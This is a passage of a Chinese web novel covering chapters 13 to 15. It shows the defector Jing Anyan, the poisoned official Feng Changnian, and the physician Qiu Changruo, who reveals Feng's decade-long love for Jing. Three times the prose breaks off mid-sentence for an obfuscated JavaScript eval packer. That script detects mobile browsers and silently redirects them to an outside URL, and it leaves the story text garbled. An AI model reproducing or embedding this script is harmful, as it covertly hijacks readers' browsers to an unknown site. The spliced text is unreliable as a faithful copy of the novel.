砰一声,半空中冷光闪过,过程不过只有那么一瞬间,仿佛是细雨被风吹进了屋里,又快又准地划过那人的喉间,落地便是一片血色。 “谁!?谁在装神弄鬼!?”召砾怒喝道,“是不是你?!” “我?”同样追上来看情况的靖安言微微抬起手,“我可什么都没干。” 召砾怒不可遏:“靖安言你——” 话音未落,只听破空而来的细碎声响,刷刷刷几道寒光闪过,围绕在召砾身旁那一圈的亲卫喉口猝然飙血,连句痛呼都没能留下,就挣扎着跪在了血泊里。 血线喷在召砾脸侧,他惊呆了,全然不敢相信不过眨眼间便没了一队亲卫,对方这显然是在帮靖安言,眼下敌人在暗他在明,本以为信心满满的局势陡然逆转! 此时再不便多留,召砾只来得及瞪一眼靖安言,匆匆忙忙地下了楼。 一场变故就这样悄然化解于无形,靖安言盯着召砾仓皇的背影,缓缓地呼出一口气。 那些担忧也随之压下,他没想到居然会是这位来了,这下不光是方才的困境,封长念的困境也有的解了。 “没想到,居然是你。” 靖安言目光转回来,落在他脚侧的尸体上,定睛细看,能看到那脖子上扎着的一根如同丝线般的长针。 “好久不见了。” 他微微抬头,在错综复杂的房梁背后,不知何时正坐着一个人。 是个女人。 那女人翘着腿,左右手分别捻了十根细长银针,仿若捏了一把雨水在手腕指尖,配上她一张白净清冷的脸蛋儿,居然还生出了几分悲悯众生的情绪来。 对上靖安言的目光,那女人淡淡一笑:“是啊,好久不见了,小师叔。” “你的技艺又娴熟了,不愧是大魏第一国手,难怪都说‘官家有辞民间有宁’,照我看,眼下廖玄静怕也比不上你这位好徒弟了吧。”靖安言叫出了她的名字,“秋辞,秋长若。” 13.剖情 来人是封长念的师妹。 玄门长字门五位弟子,秋长若排行第五,但年龄又比封长念大些,因此被敬称一句“长若姐”,如今是太医院院使,统领整个宫禁医药问诊之事。 她及笄之年就拿下杏林医会榜首,当年靖安言还在玄门,总听廖玄静说秋长若是医道天才,不出十年,只怕自己这个师父也教不了了。 靖安言默默地看着她的背影,心道确实,此等针法造诣只怕是还没十年,就了不得了。 秋长若快步走入藏着封长念的那间房,冷不丁闯入一个陌生女子,吓得夷月猛地蹿了起来,下意识抽出腰间短匕。 寒光未露三分,秋长若五指一张一合,数枚银针缠住刀身,再一勾一拽,一把将它甩了出去。 夷月:“……” 秋长若视线未偏移半分,五指再度一张一合,一勾一拽,砰地一声,木门在靖安言身后合拢,险些拍他后脑勺上。 靖安言:“……脾气够烈的。” 秋长若一撩衣摆坐上床榻,封长念面色惨白,被死死缠在床头,凌乱的额发中看见秋长若那张面色阴冷的脸,有那么一个瞬间还以为自己出现了幻觉。 “长若姐,你怎么——” “闭嘴,噤声,闭目,调息。” 秋长若左手一甩,跟扎小人似的沿着他的脊背利索地扎了一串金针,然后反手撕开了绑着他的绳子,捏上他的脉搏,自己也垂下眼睫。 夷月趁机凑过去跟靖安言咬耳朵:“谁啊这是……” “你封哥的师妹。” “那不也是你……”夷月刚想说一句“师侄”,触及靖安言不善的目光,又憋了回去,“好飒的姐姐,她能救封哥吗?” “我不能。”秋长若寻医看诊多年,五感都练得敏锐,那点儿小动静自然躲不过她的耳朵,“大魏医术和南疆蛊术虽然有些许相近,但我只是医者,不是蛊师,解不了蛊。不过暂时压制毒性还是没什么问题的。” 秋长若捧着封长念无力的胳膊,轻声道:“忍一下。” 话音未落,她拿出比方才杀人还长的金针,沿着封长念的左右臂经脉利落地再度扎了一溜,金针飞舞仿佛刀光剑影,看得夷月都跟着下意识哆嗦。 这边处理好了,她抽掉封长念脊背的那些金针,轻手轻脚把人放回榻间,望着被扎得跟个刺猬似的四师兄,终于缓和了些神色。 “你让我说你什么好。” “姐。”封长念吃力地扭了扭头,“我没事的,怎么是你来了?” 靖安言也想问,碍着封长念的蛊以及方才秋长若杀人没杀过瘾一般的脸色没好说得出口。 封长念带的那一百二十个人身殒神寂岭,这件事情大魏肯定知道,都不需传什么消息回去,迟迟等不到回应就可见一斑,靖安言不是没想过,下一个来的或许会是南军都督府中人,甚至大军压境的准备都做好了。 却没想到居然是秋长若先来了。 靖安言不动声色地望着她,秋长若也知身后那人也想等着回话,于是伸手在封长念额上抚了一把,擦了一掌心的冷汗,转而对靖安言道:“因为,我有个师兄迟迟不归,我着急。” 靖安言挑了挑眉。 秋长若将自己的衣袖从封长念指尖抽出:“我记得曾经有一次,长安城上元节灯会,你带我们五个上街看花灯,被人群冲散了,其他四个师兄都不知去了哪,只有你带着我。” 她在靖安言面前站定,微微仰头:“我当时急哭了,最后你领着我好不容易把人一个一个找回来了找齐了,你还训了他们四个,说,‘师兄迟迟不归,她能不着急吗?’” “三师叔,你还记得吗?” 靖安言定定地看着秋长若眼中翻滚的泪光,刚想伸出手,又被秋长若躲掉了。 “唉。”靖安言叹了口气,“你们一个两个的,记性都这么好做什么。不记得了,多大个事儿,什么上元节,把这些琐事一件件都塞进脑袋里,这不是平白添了很多烦恼。” 秋长若一怔,旋即咬牙切齿地笑了:“我本以为……罢了,你说得对,不过是胡乱增添烦恼罢了,我也很早就、就没有三师叔了。” 言尽于此。 靖安言领着夷月出去了,把屋里留给了这对儿师兄妹,外面的雨没有收的架势,再配上这一地尸体没来得及处理,三更半夜看着有些让人心底发寒。 靖安言找了个干净地方,让夷月站好了,免得踩了一脚血。 夷月搭着栏杆没说话,靖安言反倒先开了口:“去睡会儿吧,应该没什么事儿了。” “不了,我睡不着。”夷月看着阿银在栏杆上游弋,还是决定实话实说,“……其实你根本就是记得的吧,为什么不跟秋姐姐说实话?” 靖安言反问她:“记得如何,不记得又如何,很重要吗?有用吗?” 夷月想了想:“我觉得对于秋姐姐而言是重要的,对于封哥而言,或许也是重要的。” “但是对我来说不重要,也没有用。”靖安言深深地吸了一口气,只嗅到了难闻的血腥气,“我不想跟他们任何一个人话当年,阿月,你明白吗?” 原因很简单,他觉得没什么好说的。 当年他的真心是真的,同门情谊是真的,但后来的叛逃也是真的,放火烧书更是真的。 他做的他认,也不想用当年的情谊来绑架现在的处境,难不成他顺着秋长若的话说下去,他们就能抱头痛哭,然后互相分享彼此的秘密了? 不能的。 叛逃就是叛逃,立场就是立场。 秋长若来的原因不难猜,封长念带队自进了神寂岭后杳无音讯,南军都督府和荆平承宣布政使司久候消息不至,再加上封长念如今是朝廷要员,他们肯定不敢妄自拿主意,必须传消息回长安。 神寂岭之中的毒蛊毒瘴繁多,稍有不慎就是要命的一步,普天之下能够在神寂岭走上一遭的大魏人,也就只有这位医道天才秋长若了。 再加上玄门的身份加持,无论如何她来这一趟都是合情合理的。 玄门。 靖安言眼前又浮现出秋长若那双藏着泪花的眼瞳,不由自主被拉扯回了那年上元节。 他一双师兄姐年龄与他们差得都大,而且多在官场应酬,哪里管得上他们想出去玩的心,只有靖安言这个占着长辈名不干长辈事的小师叔带他们出去疯。 那天人真的很多,长安城的主干道都变成了一道光河,天上唯有一轮皎月,繁星璀璨都变成了地上数不尽的灯火。 少年人一见热闹就关不住了,三三两两就跃入人群摊贩前,只有秋长若乖觉些,一直跟着靖安言,不似那四个混小子,跟颗水珠流入汪洋似的,眨眼就不见了。 后来靖安言一个个找回来训了一顿,让他们四个每人给小师妹送了个礼物,这件事就算了了。 不对。靖安言的思路戛然而止。不对,不光给秋长若送了礼物。 自己也有一份,那一份是封珩给的。 是一只蝴蝶灯笼,当时封珩买了只兔子的送给秋长若,转手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488891|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就给了靖安言这个,然后跟他说,你也别着急了,是我让你们担心了。 靖安言当时被一只蝴蝶风筝弄得很无语,还以为这小子记着自己逼他穿粉衣服的仇,问:“让你给小师妹买,给我买是什么意思?还买了个这。” “好看。”封珩的眼睛那个时候就黑黑的,看人很专注,“而且,你也没比我们大多少,你也需要哄。” 然后轮到靖安言张口忘言了。 现在后知后觉,那时靖安言自己也的确就是个少年人。 封珩啊。 有些事情当时没觉得怎么,可现在翻出来,却发现一些容易被遗漏的细节,丝丝缕缕,隔着岁月的洪流,像一根针一样轻轻地扎了一下,不疼,就是酸酸涩涩的。 靖安言叹了口气,身后的门应声而开。 秋长若不知道和封长念说了些什么,总之开门的时候面色有些复杂,仔细看还不如方才的生动,带着些蕴藏的薄怒,说不出对谁:“靖先生,劳驾,我有件事想问你。” 不知为何,靖安言的心跳猝然漏了一拍。 屋内,封长念不顾那一身颤颤巍巍的针站了起来,因为扎了穴位姿势不便,看上去有些诡异的滑稽。 他带着这样滑稽的姿势想要阻拦秋长若,被那身姿灵巧的女医师灵活躲过去,反手又把人推远,僵硬间只能看着靖安言再度出现在自己面前。 他匆匆开口,带着靖安言从未听过的慌张:“姐,你不要——” “你别说话。”秋长若恨铁不成钢地剜了他一眼,深深地吸了口气,“靖先生,我想问问,你知道封珩他是个什么官职吗?” 称呼都变了,靖安言眉心一蹙:“礼部尚书,玄门门主。” 秋长若再问:“那你有没有怀疑过,为什么他一介文官居然会暂代武将之职,从长安千里迢迢来到这里?” “我怀疑过也问过,他说是他自己要来的。”靖安言摸不着头脑,只觉得秋长若越来越生气,“……怎么?这里也有我的罪过?” “罪过当然谈不上。”秋长若再度躲开了封长念僵硬的手指,转身一指点了他的哑穴,“你别说话!该说话的时候不说话,现在阻拦我怎么这么有话说?!” 靖安言也觉出不对味儿了:“……到底怎么回事?” “怎么回事?是他自己要来的,是他自己要当这个哑巴也要来的。”秋长若猛地转头,眼眶微微发红,“因为我们所有人都不同意他来。当时需要大魏驰援南疆,满朝武将不敢多言,因为都知道南疆九死一生,只有他——” “一个文臣,领了军令状也要来,堂而皇之地说什么形势复杂,蛊毒神秘莫测,他来了最为保险,二师兄当时就反问了,到底是南疆的地方复杂,还是南疆的人复杂。” 秋长若咬紧了“人”这个字:“难道你一点儿都没有感觉吗?小师叔。你还不明白为什么吗?” “我该有什么感觉?”靖安言语气也沉下来,“秋辞,说明白。” 封长念一把攥住秋长若的手,又被她狠狠甩开。 “因为他现在叫封长念!”秋长若泪水夺眶而出,“今心念!是思念的念,想念的念,也是……就在你走之后!他改字了!他不叫封长忆了,他要的是你的字!你还要问什么,还要我说明白什么!?小师叔,他来到这里是为了你,只有你!因为他——” 爱你。 剩下的两个字被封长念的手掌捂在秋长若口中,但这次靖安言听明白了。 因为听明白了,所以他如遭雷击。 14.迷障 封珩他。 喜欢我。 靖安言仿佛才是被秋长若扎了个遍的那个人,僵硬着目光移过去,只有个封长念的背影。 什么时候的事? 什么……时候的事? 他这么想着没留神也这么问了,封长念被秋长若推了一把,踉跄着转过身来,却垂着目光不敢抬头看他。 “长忆,你——”靖安言惶惶然间又叫错了名字,“……封长念。” 他再次开口:“……什么时候的事?” 然后又问了个最笨的问题:“为什么?” 可笑他靖安言从小被人说聪慧,但在情爱一道上也只能笨口拙舌,面对来自后辈、尤其还是封珩的汹涌爱意,他第一反应居然也是迷茫,然后是……怎么会呢? 是他有过什么逾矩的行为? 是他有过什么让封长念误会的举动? 还是……还是什么? 他脑子里乱糟糟的,一时是十年前两个人在长安城勾肩搭背、走街串巷的回忆,一时又是神寂岭里血迹斑斑、浑身血污的他,若不是他准确无误地揪住了自己的裤脚,或许他真的看不到第二天的太阳。 ……他昏迷着时怎么还能察觉到我的气息呢? 他太过迷茫,迷茫到失去了所有的感知能力,就连秋长若什么时候和夷月出去了都不知道,门轻轻一碰,那响动却像是将封长念惊醒了。 封长念看着靖安言迷茫的眼神,从小到大这么多年第一次生出胆怯的情绪,只瞥了一眼又急匆匆低下头。 他涩声道:“没有为什么。” 靖安言似乎想要再说些什么,封长念继续道:“喜欢一个人就是喜欢,没有什么为什么,这世上很多事就是没有缘由的。” 靖安言静默一瞬:“……为什么不告诉我?” “告诉你……有用吗?”封长念自嘲地笑了一声,“你见到我第一反应是跑,第二反应是怎么把谎话编圆了跑,情急之下连女儿都扯得出来,我再告诉你我……你会说什么呢?” 他会跑。 他会拒绝。 他会义正言辞地告诉封长念,他们立场不对等、身份不对等,这辈子他也不会跨过神寂岭回到大魏去,而封长念也必不可能在南疆待得长久。 他们没可能。 封长念摸他摸得透透的了,靖安言后知后觉发现,那句“有用吗”的回旋镖来得太快,扎得他心里一抽一抽的疼。 “我本来没想告诉你,我觉得现在我们之间横贯的东西太多了,一句喜欢,一句情爱,简直是无足轻重,也不会改变什么。”封长念摸索着走过来,“要不你就当什么都没听到算了。” 靖安言猝然抬头:“这怎么可能没听到?” 封长念垂着眼,静静地望着他:“……那你想怎么办呢?” 我想。 靖安言被问得一哽。 他能怎么办?当然是问清楚封长念这心思什么时候有的,然后该去的去,该扔的扔,早日让这人回大魏当他的礼部尚书去! 封长念依旧看穿了他:“我不走。” 靖安言:“……” 封长念:“对,为了你。我不要这条命都行,为了见到你。” “封珩。”靖安言终于开口,找回了主动权,“你现实点行吗?” “你也知道,你我之间横贯了太多东西,且不说当年的叛逃,只说立场,你是会为了大魏抛头颅洒热血的人,绥西侯的家训刻在你的骨子里,而我是会为了南疆战到最后一滴血的人,这件事上,我们永远也达不成和解。” “而且,你喜欢的,是十年前的靖玄念。不是眼前的靖安言。” 封长念目光一颤,缓缓闭了眼。 靖安言叹道:“十年前的靖玄念对你很好,教你剑术,带你学,带你玩,那个时候他的梦想是行走江湖、无拘无束,连带着教你也是豁达洒脱,不要把烦心事都搁在心里。” “但如今的靖安言不是。”他摊开手,“我不再想什么行走江湖,我觉得那是年少太过可笑的梦,还有什么豁达洒脱,真的经历了事情,有几个人能真正洒脱,反正我不是。” “你看,你喜欢的靖玄念,或许真的,早就如长若说的那样,早就没有了。” 封长念一动,金针似乎刺到了他的痛处,半边身子都一颤。 可是好奇怪,他好像也没有碰到什么,而且秋长若也没有在他心口施针,为什么觉得心脏会那般疼。 靖安言缓缓攥起拳:“要不再跟你说一遍当年我讲过的话吧,或许你已经忘记了——我很讨厌大魏,很讨厌玄门,曾经在大魏度过的每一时刻,我都觉得……” “谎撒两次有意思吗?”封长念蓦地打断他的话,这还是他印象中封长念第一次打断他,“说这些话有意思吗?是真是假你自己心里没数吗?” 靖安言攥着的拳微微一松,复又攥紧:“说了你又不信,人不能只捡自己想听的听吧。” “那你也不必想通过这种办法来击溃我。”封长念怒极反笑,“你不必说什么靖玄念已死之类的话,在我眼里,你从来都没有变过,十年前护着我的人是你,十年后救了我的人依旧是你。同样的,十年前我喜欢的人是你,十年后我喜欢的人依旧——” 靖安言猛地出手攥住了他的脖颈。 习武之人对咽喉这等脆弱部位有着极其敏感的反应,几乎是下意识,封长念就要冲破那些金针的禁锢去遏制靖安言的动作,但又在濒临触碰他皮肤的时刻硬生生止住。 就这么一个迟疑的空隙,靖安言一把握住他的后颈,迫使他低头,然后一脚踹开了房间的门。 外面尸体遍地,还未来得及处理。 封长念听见靖安言在他耳边恶狠狠道:“喜欢我?那真的是你瞎了眼了。尚书大人,看看,看看,你自己看看——召砾说的没错,我杀过他们好多弟兄,看见了吗?这些人算什么,我杀过一整个神寂岭的人,不止一次。” “暴雨天,神寂岭里流血漂橹,见过人血做的池子吗?告诉你,死在神寂岭的人不会比你们西域外的沙宛兵少,而我只有一个人一只笛子。” “自来到南疆后,我杀过上万人,看看这只手,你以为还是当年那个握着你的手腕,一步一步教你剑法的人?” 他摊开的五指在封长念眼前晃:“脏了,早脏了,看见了吗?全是血,全都是血。你说你一干干净净的朝廷要员,干什么偏要跟我这种叛徒混在一起啊!?” 封长念整个身体都颤抖起来。 靖安言还要再说,突然觉得五指一麻,下意识松开了摁在封长念颈后的手,然后被人一把顶上了墙,动作翻转中金针噼里啪啦掉了一地。 封长念眼底猩红,仿佛根本感觉不到痛似的,对靖安言的拳打脚踢毫无反应,只死死捏住他的手。靖安言当即抬脚要踹,封长念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502702|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻屈腿压下他的动作,往前一顶将其别住。 靖安言一招不成再出一招,封长念见招拆招。闹到最后,还是照旧将靖安言牢牢按在了墙上,毫无反抗之力,这才获得一时消停。 两个人气喘吁吁,像是两头困兽一样四目相对,俱是看到了对方眼里的悲哀和痛苦。 “封珩,”靖安言威胁他,“你信不信我也让你——” 他的声音噤在封长念偏头的动作下。 这人都怒气冲冲成了这样,看起来像是要恨不得啖其血肉,可下一刻,他头一偏,在靖安言那蝴蝶护腕上蜻蜓点水的一吻。 刹那间,靖安言就忘记了挣扎,甚至忘记了自己下一句威胁该是什么。 封长念依旧牢牢制着他:“不要这么说他。” 靖安言愣愣地望着他的眼睛,那双眼睛里悲哀更甚。 “我知道他已经很痛苦了。”封长念的目光如火焰灼烧,熏得人几欲落泪,“别让他再痛苦了。” 力道渐松,靖安言竟然没有动作。 他该趁机将人推开,然后暴怒着说你在胡说八道些什么。 他该冷冷反驳这句,告诉这人说有什么痛苦、怎么就痛苦,我是那个令人闻风丧胆的靖安言,我痛苦什么,该痛苦的是别人。 他该直截了当的告诉封长念,你想多了,这一切我都做得很快活。 这才对。 可对的话他说不出口。 错的反应让他在原地良久都回不了神。 封长念慢慢往后退了两步:“……手疼不疼?” 他方才没收力道,在靖安言手腕上硬生生掐住两道青紫色。 两人太久没动过手,靖安言下意识看了眼手腕上的淤痕,这时才反应过来,封长念的力道早就比自己大得多。 只是因为喜欢,所以一直没有用强,所以所有的尖锐和伤害都对准了封长念自己,也不肯伤害靖安言半分。 今晚那些话是真的伤到他,也气到他。 靖安言不答,封长念迎上来要看,又被躲掉。 背过手去,靖安言抬眼望着封长念,眼底有一瞬间的动容。 不过就一瞬间,转瞬即逝,快到几乎可以忽略不计。 “封珩,你会后悔的。”靖安言轻声道,“你一定会后悔的。我做的混账事不止这几件,还有更混账的,你会明白,我早已不是你心里的那个人。” “那就等到最后,你看我会不会被吓走。”封长念走到他面前温声道,“来啊,吓跑我啊,小师叔,我不怕你,我从来都不怕你,我也早就不把你当长辈。” 他的目光落在靖安言抿紧的淡色唇瓣,头越凑越低,呓语道:“……你来啊,看看到最后是你先吓跑我,还是我先带你回家。” 靖安言蓦地偏头,封长念微凉的嘴唇擦过他的耳尖,带起一阵令人眩晕的风。 他闭上眼睛:“你一定会后悔的。” 封长念沉默下来。 半晌,他轻声道:“方才长若姐说岔了一句话,念不仅仅是思念、想念,还有——” “念去去,千里烟波,暮霭沉沉楚天阔。” 南疆千里迢遥,我站在这边,一望无际,除了阴沉的天色以外,怎么望都望不到你的身影。 靖安言一把推开他,冲去了隔壁,把秋长若推了出来。 门关上前甩出一句:“秋大夫快给他脑袋扎两针。” 15.弈棋 夜色渐浓,雨势渐收,秋长若将窗户关好,端着烛台又坐了回去。 重新扎了针的封长念坐在床边一动不动,只有眼珠能随着秋长若转一转。 “夷月姑娘之前就告诉过你吧,蛊虫在血脉中游走,情绪起伏越大、气血翻涌越快,发作得越狠。你这刚平复下来,封长念,你还想不想要这条命了。” 封长念这次浑身上下只有嘴唇能动:“……想的。” “没见过你们这么不听话的病人。”秋长若扶了扶额,“想我治病救人无数,怎么偏生最不听话的都是我师兄。” “……你还没回答我,怎么是你来了?” 秋长若敏锐地瞥了一下门口,复而从怀中掏出写方子的纸笔,龙飞凤舞地写道:“因为陛下说,你的任务已经完成了。” 封长念眼瞳微微放大,俨然一副不可置信的样子。 “干什么?真以为我不知道?我们不知道?你在陛下面前下军令状要去南疆,你前脚走,后脚陛下就把我们宣进了明德宫——你真以为他会让你去送死?还换门主,你想得真够远的。” 秋长若笔锋快速凌厉,字体苍劲有力,封长念看着她一字字落下,甚至都能在脑海里补全她的语气。 “不信?好,那我再讲讲——你带队夜闯神寂岭,名义上是探路,与南疆王里应外合,准备接援大部队,其实本来就是一队死士吧?因为陛下不相信、你也不相信南疆真的会放大魏军队进入,所以,他们下手杀人,以为是你们入了圈套,其实恰恰相反,是他们入了你们的圈套,合了你们的意。” “如果没动手,那你们顺利进入南疆,正好深入内部打探南疆情况;如果动手的是圣酋,那么南疆王和圣酋的斗争就会愈演愈烈,证明南疆王没说谎;如果动手的南疆王,那事情可就有意思多了。现在看来,很明显,是最后一种。” 秋长若恨不得能把纸面戳出两个窟窿:“这些都是你之前就跟陛下商量好的,只是一件事你没说,陛下也没想到,那就是这支死士你会亲自带队。他让我来的时候顺带问你一句,就为了个靖安言,值得差点儿将自己的命都算计进去吗?” 封长念呼出一口气:“此事是军机,我还以为陛下不会告诉你们。” “呵,陛下是没打算告诉我们啊,可惜是你自己露馅了。陛下觉得这件事情有点不对,果不其然出了事情,立刻就派我来了,让我抓紧救你一救。” 露馅了?封长念垂下眼盯着自己无力蜷缩的指尖。 这双手曾经平放在明德宫厚厚的地毯上,羊毛密密麻麻地戳在他的掌心,那是他借力撑着自己抬起头,仰望着年轻的帝王那双沉静的眼睛。 他说:“臣此行,别无所求,只求来日南疆收复,陛下能将靖安言交给我。” 皇帝宋晖挑了挑眉:“他虽是朕的小舅舅,但无论如何,也是通敌叛国之人,他的本事可不小。” 封长念再拜:“请陛下允准。” 封长念入长安迄今为止十三年,从无半分过分要求,宋晖作为太子时,朝堂大乱,二人曾联手干过冒天下之大不韪的事,所以抛开君臣之别,也能称得上一句好友。 他从未如此执念过任何一个人、一件事,唯独在这件事上,宋晖看到了封长念眼睛里坚定不移的神色。 怕也是这一眼,让宋晖察觉到了封长念那“虽九死其犹未悔”的决定。 “朕劝你一句,只怕到了这一天,靖安言也不会被你带回来的,他那个人……” 他那个人…… 封长念复又抬起眼,秋长若知道他想明白了,轻轻走到烛火边将纸张烧尽,转而拍了拍他的肩膀:“长念,听姐姐一句劝,此事到了这个地步,你现在撤出,还不至于越陷越深。” “陛下让你带我回长安?” 秋长若默认了。 封长念抿抿唇:“可我还不能走。” “担心蛊毒吗?你放心,我会留在这儿,而且陛下也明白一切,他说事有意外,就不要勉强。” 封长念动了动指尖,声音虽轻但沉重:“我必须勉强。” “我不担心蛊毒,我甚至不担心我自己,我早跟陛下说过,此行我已做了所有的准备。” 封长念的眼珠是比外面的夜色还要浓重的黑,就这么盯着秋长若的时候足以让她哑口无言:“姐,别劝了,你知道的,我什么都可以不勉强,但只有此事、唯有此事,你就当全了我的念想吧。” “说来说去,你还是为了三师叔。”秋长若叹了口气,“长念,今时不同往日,你也看到了他的态度,退一万步讲,如果大魏和南疆没有这些龃龉,不这么箭在弦上,我二话不说,你爱怎么样怎么样,但是……” “但是,你还是要记得,不论你有多喜欢他,你与他的立场是不一样了的。你本就是礼部尚书,又是绥西侯之后,地位举足轻重,纵然再有多少情分,我也担心你会身处不利之地。” 她顿了顿,认命般地再度抽出一张纸来:“而且你也很清楚地知道我们的最终任务是什么。” 收复南疆。 自当今圣上的太祖父魏昭帝那辈起,南疆就是历代大魏君王耿耿于怀的一根刺。 南疆本就是大魏的领土,当时还叫南洲,归荆平承宣布政使司管辖,此地多山林,南洲人自古信奉灵神,以大祭司为尊,但那时候还不是人人皆懂蛊,蛊师不过是少一部分人而已。 直到魏昭帝泰和三年,南洲以南的贼寇入侵,将本地的秘法与蛊术结合,杀了好一批古南洲人,古南洲大祭司一脉被追杀殆尽,外邦鸠占鹊巢,自立为王,重修史书,改称南疆,并勒令所有南疆人修习蛊术。 不服从者皆杀之,如此过去,南疆中人人皆蛊师,或者说,整个南疆都是历代南疆王的一支精锐之师。 当年外邦入侵,不仅屠戮古南洲人,甚至还妄图霸占荆平一带,给百姓生活造成了规模不小的骚乱,荆平承宣布政使司觉得事情控制不住,便向长安禀告情况。 从此拉开了百年的争端。 自荆平自己的都指挥使司、再到南军都督府、甚至东西南中四军都督府皆来支援,大魏将士皆败于南疆蛊术之下。 久战让双方都损失惨重,大魏这边久攻不下,而南疆那边因蛊师战死后,新蛊师尚未出师,人手不足。没有办法,双方各退一步,大魏与南疆签订宗藩关系。 但这不代表结束,魏昭帝驾崩后,魏文帝继位,在位四十五年里打了三十次,再到魏明帝继位,魏明帝纵使是个崇文抑武的皇帝,在位十七年也依旧主动打了南疆十次。 这块地方几乎成了历代皇帝心病,古南洲相关卷宗已无法解决现如今的南疆蛊术之谜,玄门也因此设立,誓要将南疆收复,重归故土。 可神寂岭易守难攻,这次南疆内乱,南疆王王向大魏请援,确实没有比这更好的机会,将天然屏障一般的神寂岭撕开一道口子了。 而无论南疆内乱最后以一个什么结局收尾,可以预料的是,大魏要收复南疆,二者之间一定会开战。 再换言之,他们与靖安言之间,一定最终会刀剑相向。 秋长若的笔一顿,是封长念颤颤巍巍抬起手,按住了她的手腕。 不要写下去了。 封长念闭了闭眼,秋长若被他丝毫没有重量的手指压着,居然一时半会儿也抽不开。 就算是她,真的就忍心拿起刀剑砍向靖安言吗? “及时抽身吧。”秋长若把纸烧了,戚哀地望着他,“长念,情义难两全。” “来不及了,”封长念涩声道,“我已经……抽不出身了。” 秋长若一惊,声音都变了调:“什么意思?” “我……我和……小师叔……已经……”封长念方才还难看的脸色因为窘迫而染了丝惹人遐想的红,“……我……总之我要负责的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516445|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊?”秋长若迷糊地望着他,将他那句话默默在心底过了三四遍,“……啊?!?!” 她腾地站起来,在原地转了好几圈,结果涌到嘴边的也还是那一句:“啊?!?!?!” “姐……”封长念从没有如此感谢这一身针让他不能抬头,“你别说了。” “你——你你你——”秋长若一时间真不知道这句话重点到底是他和靖安言已经睡了还是在封长念要负责这件事上。 啊?! 这小子平时看着禁欲又冷淡的,没想到不鸣则已一鸣惊人啊?! 憋了半天,秋长若终于从那一堆吐槽中翻找出来一句:“小师叔居然没揍死你,难怪陛下提起他说性格大变,我现在相信他性格是和当年不大一样了哈。” 封长念:“……” 另一间房内,性格大变的小师叔已经快要把笛子穗揪秃了。 夷月实在看不下去,劈手夺过了那只玉笛:“你心烦拿别的发泄去,这笛子还是……送给你的,好好对它行不行?” 靖安言无声地望着她,对峙半晌,夷月认了命地把死命缠在手腕上的阿银扔了过去:“行了行了,给你给你,冷静冷静吧——怎么回事儿啊?还被我真说中了,他居然真的是来追爱的?!” “阿月。”靖安言把蛇腹贴在额前,“别说了。” “不是,你居然也一点都没想到吗?”夷月凑过去,“你好赖不计长他五岁,没想过这种情情爱爱的事儿啊?不能吧,我听那谁说,你们大魏官宦子弟都可花花肠子了,风月之事是老手,他还说一看你就是个万花丛中过的主。” “那是叶长缈胡说八道,你还真的信。”靖安言瞪她一眼,“我认识封珩那年十六岁,十六岁之前我懂个什么,刚到该懂的年纪就被要求带孩子,我还能带一个十一岁的小娃娃逛青楼?造不造孽。” “别说逛窑子了,我连过分点儿的话本子都不好意思看,顶多拎个鸟笼串串巷子,买两只包子两把扇子到顶了。”靖安言幽怨道,“……虽说大魏民风是开放吧,好男风不是什么大事,但、但这小兔崽子……” 但这小兔崽子居然敢把主意打到他头上! 倒反天罡……当真是倒反天罡!! 夷月听见那个名字时表情微微一凝,结果转眼见靖安言也不知是气的还是臊的,脸上的表情无比生动,又暗自松了口气。 “我就说哪有单纯的同门情谊能追这么久的,让你之前没细想过,现在发现人家情根深种,十年呐,树根都延伸一丈远了,你还闷在里头没开窍。” “我就是想也不可能往这边想。我是他师叔。” 夷月眨眨眼:“所以呢?” 那咋了。 靖安言张张口,闭嘴了。 没什么所以。 封珩那小子打小就敢想敢干,别看一副老实巴交的样子,其实主意很大,一旦认定的事儿谁都不能让他改口,哪怕是断头刀横在眼前也一声不吭。 靖安言想起方才封长念钳着自己的力道,仍觉得手腕上那一圈烧得慌,垂眼看下去却只有两圈青紫色的淤痕,如同那场情绪一般来得轰轰烈烈,散后也没留下什么痕迹。 只有感觉,只有一种震颤的感觉被留存下来,将封长念的力道和眼瞳中的悲戚烙印在靖安言心间。 封长念从来是个悲喜不外漏的人,除非真的是逼得狠了,才能看到那些情绪的冰山一角。而这样的悲戚,靖安言之前也在封长念眼中见到过一次。 或者说,封长念截至目前人生唯二的两次大悲,都落在靖安言的眼中。 靖安言是不想触及触及那些往事的,之前在封长念面前三缄其口,也不许他问,却也抵不住夜深人静、情绪爆发后漫长的余温,裹挟着避无可避的岁月浪潮。 封长念像是一把钥匙,带着他欢喜与不欢喜的前尘、裹着他想念与不想念的故土,悉数向他奔涌而来。 16.悲风 